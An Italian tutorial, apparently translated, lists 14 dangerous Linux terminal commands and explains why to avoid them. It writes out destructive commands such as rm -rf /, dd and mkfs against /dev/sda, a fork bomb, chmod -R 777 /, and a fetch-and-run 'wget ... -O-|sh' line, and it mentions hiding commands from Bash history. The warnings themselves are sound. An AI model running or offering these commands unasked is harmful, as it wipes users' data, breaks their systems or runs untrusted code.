GNU/Linux >> Linux Esercitazione >  >> Ubuntu

14 pericolosi comandi del terminale Linux

Introduzione

L'esecuzione dei comandi in un terminale Linux è facile e veloce e di solito offre un'esperienza superiore rispetto all'utilizzo della GUI per eseguire la stessa attività. I comandi forniscono l'accesso a funzionalità che non sono disponibili con una GUI Linux, ma possono anche essere pericolosi se non sei sicuro di cosa facciano esattamente.

In questo articolo imparerai quali comandi Linux pericolosi dovresti evitare e perché.

Avviso: Non eseguire questi comandi poiché alcuni di essi possono danneggiare gravemente il sistema o i file, cancellare i dati senza emettere preventivamente alcun avviso o richiesta di conferma. Gli screenshot forniti nel tutorial sono stati tutti realizzati in una macchina virtuale.

1. rm -rf / Comando

Il rm Il comando in Linux ti consente di eliminare file e directory. Tuttavia, non esiste un'opzione di ripristino, il che rende i file eliminati per sempre. Ciò significa che utilizzando il rm comando per rimuovere permanentemente i file di sistema sensibili causerebbe instabilità del sistema.

Il comando è:

rm -rf /

Esecuzione di rm comando con il -r e -f flags forza una cancellazione ricorsiva attraverso tutte le sottodirectory. Eseguendolo su / la directory root cancellerebbe completamente il sistema.

2. Comando>/dev/sda

Eseguire un comando e aggiungerlo con >/dev/sda scrive l'output del comando su /dev/sda blocco, cioè sul disco rigido. Il dev/sda block contiene dati del filesystem, che vengono poi sostituiti con l'output del comando, danneggiando il tuo sistema e rendendolo irrecuperabile.

La sintassi è:

command >/dev/sda

Il command può essere qualsiasi comando Linux. Ad esempio, l'esecuzione del comando shred distrugge tutti i dati sull'unità.

3. :(){ :|:&};:Bomba a forcella

Il comando fork bomb crea una funzione chiamata : e definisce il contenuto della funzione, facendola eseguire da sola e convogliare un'altra chiamata di se stessa. Pertanto, la funzione viene eseguita in primo piano mentre esegui lo stesso processo in background . La funzione si esegue e si replica ripetutamente, occupando rapidamente tutte le tue risorse fino a quando il sistema non si blocca.

La sintassi del comando fork bomb è:

:(){ :|:& };:

4.> comando file

Il > file comando è l'abbreviazione di cat /dev/null > file .

Reindirizzare un comando a un file può essere molto utile, ma commettere un errore nella sintassi del comando o eseguire il comando con noncuranza può cancellare un file di sistema critico.

Il > file Il comando usa la funzione di reindirizzamento bash per svuotare il contenuto di un file, cancellandolo.

Ad esempio, esegui:

> phoenixnap.conf

L'output crea un file di configurazione vuoto.

Inoltre, anteporre uno spazio bianco prima del comando impedisce che appaia nel registro nella shell Bash. Ciò significa che qualcuno può svuotare i tuoi file e non rimarrà traccia se precedono il comando con uno spazio bianco.

5. ^foo^bar Comando

Il ^foo^bar il comando può essere sia utile che pericoloso. Sebbene il comando faccia risparmiare tempo perché ti consente di modificare il comando eseguito in precedenza ed eseguirlo di nuovo, può anche causare problemi se non controlli a fondo le modifiche apportate prima di eseguirlo.

Il comando sostituisce la prima istanza di foo con bar . Ad esempio:

Nel primo caso di esecuzione di echo comando, l'output indica che il comando non è stato trovato a causa di un errore di battitura. Dopo aver eseguito il ^foo^bar comando e correggendo l'errore di battitura, il comando echo viene eseguito correttamente.

6. directory mv /dev/null

Un altro comando pericoloso che puoi trovare online è spostare una directory o un file in /dev/null . In Linux, /dev/null è un file noto come "il buco nero" perché distrugge tutti i dati che sposti nella posizione del file.

Tuttavia, poiché /dev/null non è una directory, ma un file di caratteri, mv non può sovrascriverlo con un'altra directory. D'altra parte, puoi spostare un file lì e il file sovrascrive il contenuto di /dev/null .

Ad esempio:

sudo mv /home/bosko/employees.txt /dev/null

Dopo aver eseguito questo comando, /dev/null è un file normale. Il pericolo di apportare tale modifica è che /dev/null non dovrebbe mai produrre dati e ora è un file normale. Con quella configurazione errata, può portare all'inserimento di dati casuali nei file di sistema, portando a un sistema rotto.

7. wget http://malicious_source_url -O-|sh

Il comando wget consente di scaricare file nel terminale. Tuttavia, il comando può indicare wget per scaricare uno script da una fonte dannosa ed eseguirlo con sh .

Presta sempre attenzione all'indirizzo del pacchetto o del file che stai scaricando e assicurati che sia una fonte attendibile, altrimenti rischi di infettare il tuo sistema.

8. crontab -r

Il crontab comando aiuta ad automatizzare le attività quotidiane. Tuttavia, tutti i comandi e le istruzioni sono conservati in un unico file crontab, che può essere rimosso specificando il -r bandiera. Questo può accadere per errore quando vuoi specificare il -e flag e inserisci accidentalmente -r . Attenzione perché non esiste un yes/no prompt prima di rimuovere il file.

Assicurati di eseguire il backup del file crontab poiché non ci sono molte opzioni di ripristino una volta eliminato.

9. storia | sh

La storia del history | sh comando può essere pericoloso perché esegue tutti i comandi dal registro dei comandi che hai già eseguito. L'azione può causare instabilità del sistema ed eseguire comandi che non volevi eseguire di nuovo.

10. dd if=/dev/zero of=/dev/sda

Il comando dd indica al sistema di scrivere dati su unità fisiche. L'origine dati è definita in if parametro, che può essere random of se vuoi scrivere dati casuali nel blocco. Il if il parametro può anche essere zero of se vuoi azzerare il tuo disco rigido. Ciascuna scelta rimuove il sistema operativo dall'unità.

Ad esempio:

dd if=/dev/random of=/dev/sda

L'esecuzione del comando precedente riempie il disco rigido di dati casuali, causando il malfunzionamento del sistema.

11. mkfs.ext3 /dev/sda

Il mkfs comando crea un nuovo filesystem sul dispositivo specificato. Esecuzione di mkfs potrebbe essere pericoloso se non si esegue il backup dei dati prima di eseguire il comando. Formatta la partizione/disco rigido specificato, cancellandone completamente tutti i dati.

Avviso: Sebbene sia utile formattare le partizioni del disco, formattare un intero disco rigido (come /dev/sda ) lascia il sistema irrecuperabile. Ulteriori informazioni sulla formattazione delle partizioni del disco in Linux.

Nell'esempio seguente, mkfs crea un nuovo ext.3 filesystem dopo aver formattato l'intero disco rigido:

mkfs.ext3 /dev/sda

Poiché il comando formatta l'intero disco rigido per creare un nuovo filesystem, il sistema non è più avviabile e genera il seguente errore:

A seconda delle tue preferenze, puoi anche istruire mkfs per creare un filesystem diverso, come ext4 . Puoi anche scegliere di formattare una singola partizione o un disco rigido diverso, specificato al posto di /dev/sda :

mkfs.ext4 /dev/sda1

Nell'esempio sopra, abbiamo indicato mkfs per creare un ext4 filesystem sulla prima partizione sul primo disco rigido.

12. gunzip untrusted.gz

La decompressione di un archivio non attendibile potrebbe rivelarsi una zip bomb, nota anche come bomba da decompressione. Una zip bomb è un file dannoso che attacca il sistema cercando di leggerlo. Durante la decompressione, il file occupa molto spazio su disco, il che può essere fatale per molti servizi di sistema.

Quindi, è meglio fare attenzione quando si gestiscono archivi da fonti non attendibili, principalmente perché la zip bomb è uno dei file dannosi più vecchi su Internet.

13. Rimuovi Python

Prima di pensare a rimuovere una versione precedente di Python dal tuo sistema Linux, tieni presente che il sistema richiede un'installazione python2 funzionante per funzionare correttamente. La disinstallazione della versione predefinita di Python su Ubuntu causa il fallimento del Graphical Display Manager utilizzato per l'accesso al sistema e ti viene bloccato fuori dal tuo sistema .

Tuttavia, se sai cosa stai facendo, puoi disinstallare Python2.x.x e tutte le sue dipendenze eseguendo:

sudo apt purge python2.x-minimal

14. chmod -R 777 /

Linux è un sistema multiutente e il chmod Il comando consente di modificare i permessi dei file per configurare l'accesso dell'utente a un determinato file o directory.

Tuttavia, chmod può modificare ricorsivamente i permessi di tutti i tuoi file:

chmod -R 777 /

Il comando sopra consente a tutti gli utenti di leggere, scrivere ed eseguire tutti i file sul sistema, il che compromette la sicurezza. Inoltre, alcuni sistemi potrebbero non funzionare correttamente se le autorizzazioni sono troppo aperte e impediscono l'avvio del sistema.


Ubuntu
  1. 10 comandi Ubuntu Linux più utili

  2. | In Comando Terminale?

  3. Esecuzione di comandi Linux in background e in primo piano

  4. 5 usi del comando mv nel terminale Linux

  5. Come mandare in crash il tuo sistema:pericolosi comandi Linux

Comandi Linux - Guida completa

4 comandi per spegnere Linux dal terminale

Comando Df in Linux

Come eseguire più comandi Linux contemporaneamente nel terminale Linux

Comando cronologia in Linux:visualizza la cronologia del terminale Linux

Utilizzo di cut su terminale Linux